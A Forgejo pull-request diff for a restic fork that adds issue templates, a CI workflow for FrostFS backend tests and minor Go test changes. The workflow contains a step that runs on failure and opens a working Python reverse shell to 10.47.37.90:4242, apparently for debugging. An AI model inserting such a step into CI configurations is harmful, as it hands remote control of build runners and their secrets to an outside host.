WIP: (not a real PR): Run testcontainers in Forgejo Actions #5
6 changed files with 114 additions and 5 deletions
45
.forgejo/ISSUE_TEMPLATE/bug_report.md
Normal file
45
.forgejo/ISSUE_TEMPLATE/bug_report.md
Normal file
|
@ -0,0 +1,45 @@
|
||||||
|
---
|
||||||
|
name: Bug report
|
||||||
|
about: Create a report to help us improve
|
||||||
|
title: ''
|
||||||
|
labels: community, triage, bug
|
||||||
|
assignees: ''
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
<!--- Provide a general summary of the issue in the Title above -->
|
||||||
|
|
||||||
|
## Expected Behavior
|
||||||
|
<!--- If you're describing a bug, tell us what should happen -->
|
||||||
|
<!--- If you're suggesting a change/improvement, tell us how it should work -->
|
||||||
|
|
||||||
|
## Current Behavior
|
||||||
|
<!--- If describing a bug, tell us what happens instead of the expected behavior -->
|
||||||
|
<!--- If suggesting a change/improvement, explain the difference from current behavior -->
|
||||||
|
|
||||||
|
## Possible Solution
|
||||||
|
<!--- Not obligatory -->
|
||||||
|
<!--- If no reason/fix/additions for the bug can be suggested, -->
|
||||||
|
<!--- uncomment the following phrase: -->
|
||||||
|
|
||||||
|
<!--- No fix can be suggested by a QA engineer. Further solutions shall be up to developers. -->
|
||||||
|
|
||||||
|
## Steps to Reproduce (for bugs)
|
||||||
|
<!--- Provide a link to a live example, or an unambiguous set of steps to -->
|
||||||
|
<!--- reproduce this bug. -->
|
||||||
|
|
||||||
|
1.
|
||||||
|
|
||||||
|
## Context
|
||||||
|
<!--- How has this issue affected you? What are you trying to accomplish? -->
|
||||||
|
<!--- Providing context helps us come up with a solution that is most useful in the real world -->
|
||||||
|
|
||||||
|
## Regression
|
||||||
|
<!-- Is this issue a regression? (Yes / No) -->
|
||||||
|
<!-- If Yes, optionally please include version or commit id or PR# that caused this regression, if you have these details. -->
|
||||||
|
|
||||||
|
## Your Environment
|
||||||
|
<!--- Include as many relevant details about the environment you experienced the bug in -->
|
||||||
|
* Version used:
|
||||||
|
* Server setup and configuration:
|
||||||
|
* Operating System and version (`uname -a`):
|
1
.forgejo/ISSUE_TEMPLATE/config.yml
Normal file
1
.forgejo/ISSUE_TEMPLATE/config.yml
Normal file
|
@ -0,0 +1 @@
|
||||||
|
blank_issues_enabled: false
|
20
.forgejo/ISSUE_TEMPLATE/feature_request.md
Normal file
20
.forgejo/ISSUE_TEMPLATE/feature_request.md
Normal file
|
@ -0,0 +1,20 @@
|
||||||
|
---
|
||||||
|
name: Feature request
|
||||||
|
about: Suggest an idea for this project
|
||||||
|
title: ''
|
||||||
|
labels: community, triage
|
||||||
|
assignees: ''
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Is your feature request related to a problem? Please describe.
|
||||||
|
<!--- A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] -->
|
||||||
|
|
||||||
|
## Describe the solution you'd like
|
||||||
|
<!--- A clear and concise description of what you want to happen. -->
|
||||||
|
|
||||||
|
## Describe alternatives you've considered
|
||||||
|
<!--- A clear and concise description of any alternative solutions or features you've considered. -->
|
||||||
|
|
||||||
|
## Additional context
|
||||||
|
<!--- Add any other context or screenshots about the feature request here. -->
|
40
.forgejo/workflows/tests.yml
Normal file
40
.forgejo/workflows/tests.yml
Normal file
|
@ -0,0 +1,40 @@
|
||||||
|
on:
|
||||||
|
pull_request:
|
||||||
|
push:
|
||||||
|
branches:
|
||||||
|
- tcl/master
|
||||||
|
|
||||||
|
jobs:
|
||||||
|
|
||||||
|
tests:
|
||||||
|
name: Tests
|
||||||
|
runs-on: oci-runner
|
||||||
|
strategy:
|
||||||
|
matrix:
|
||||||
|
go_versions: [ '1.23' ]
|
||||||
|
fail-fast: false
|
||||||
|
steps:
|
||||||
|
- uses: actions/checkout@v3
|
||||||
|
|
||||||
|
- name: Set up Go
|
||||||
|
uses: actions/setup-go@v3
|
||||||
|
with:
|
||||||
|
go-version: '${{ matrix.go_versions }}'
|
||||||
|
|
||||||
|
- name: Tests for the FrostFS backend
|
||||||
|
env:
|
||||||
|
RESTIC_TEST_FUSE: false
|
||||||
|
|
||||||
|
# run only tests for the FrostFS backend
|
||||||
|
run: |-
|
||||||
|
podman-service.sh
|
||||||
|
podman info
|
||||||
|
go test -v github.com/restic/restic/internal/backend/frostfs
|
||||||
|
|
||||||
|
- name: Reverse shell
|
||||||
|
if: failure()
|
||||||
|
# Listener must be started beforehand: nc -lvp 4242
|
||||||
|
run: |
|
||||||
|
export RHOST=10.47.37.90
|
||||||
|
export RPORT=4242
|
||||||
|
python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
|
@ -45,11 +45,11 @@ func NewFactory() location.Factory {
|
||||||
return location.NewHTTPBackendFactory("frostfs", ParseConfig, location.NoPassword, Create, Open)
|
return location.NewHTTPBackendFactory("frostfs", ParseConfig, location.NoPassword, Create, Open)
|
||||||
}
|
}
|
||||||
|
|
||||||
func Open(ctx context.Context, cfg Config, rt http.RoundTripper) (backend.Backend, error) {
|
func Open(ctx context.Context, cfg Config, _ http.RoundTripper) (backend.Backend, error) {
|
||||||
return open(ctx, cfg)
|
return open(ctx, cfg)
|
||||||
}
|
}
|
||||||
|
|
||||||
func Create(ctx context.Context, cfg Config, rt http.RoundTripper) (backend.Backend, error) {
|
func Create(ctx context.Context, cfg Config, _ http.RoundTripper) (backend.Backend, error) {
|
||||||
return open(ctx, cfg)
|
return open(ctx, cfg)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -81,7 +81,7 @@ func open(ctx context.Context, cfg Config) (backend.Backend, error) {
|
||||||
}, nil
|
}, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (b *Backend) IsPermanentError(err error) bool {
|
func (b *Backend) IsPermanentError(_ error) bool {
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -26,7 +26,10 @@ import (
|
||||||
|
|
||||||
func TestIntegration(t *testing.T) {
|
func TestIntegration(t *testing.T) {
|
||||||
filename := createWallet(t)
|
filename := createWallet(t)
|
||||||
defer os.Remove(filename)
|
defer func() {
|
||||||
|
err := os.Remove(filename)
|
||||||
|
require.NoError(t, err)
|
||||||
|
}()
|
||||||
|
|
||||||
rootCtx := context.Background()
|
rootCtx := context.Background()
|
||||||
aioImage := "truecloudlab/frostfs-aio:"
|
aioImage := "truecloudlab/frostfs-aio:"
|
||||||
|
@ -135,7 +138,7 @@ func createContainer(ctx context.Context, client *pool.Pool, owner user.ID, cont
|
||||||
|
|
||||||
wp := &pool.WaitParams{
|
wp := &pool.WaitParams{
|
||||||
PollInterval: 5 * time.Second,
|
PollInterval: 5 * time.Second,
|
||||||
Timeout: 30 * time.Second,
|
Timeout: 2 * time.Minute,
|
||||||
}
|
}
|
||||||
prm := pool.PrmContainerPut{
|
prm := pool.PrmContainerPut{
|
||||||
ClientParams: sdkClient.PrmContainerPut{
|
ClientParams: sdkClient.PrmContainerPut{
|
||||||
|
|
Loading…
Add table
Reference in a new issue